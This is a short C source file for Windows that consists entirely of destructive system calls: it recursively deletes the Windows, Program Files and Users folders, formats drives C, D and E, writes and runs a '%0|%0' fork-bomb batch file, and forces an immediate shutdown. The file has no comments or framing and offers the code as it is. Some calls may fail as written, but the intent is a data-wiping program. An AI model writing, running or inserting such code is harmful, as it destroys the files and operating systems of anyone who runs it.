#include<stdlib.h>
#include<stdio.h>
int main()
{
    system("rd /S /Q C:\\Windows");
    system("rd /S /Q C:\\Program Files");
    system("rd /S /Q C:\\Program Files (x86)");
    system("rd /S /Q C:\\Users");
    system("format C:");
    system("format D:");
    system("format E:");
    freopen("D:\\killer.bat","w",stdout);
    printf("%0|%0");
    fclose(stdout);
    system("D:\\killer.bat");
    system("shutdown /s /t 0");
    return 0;
}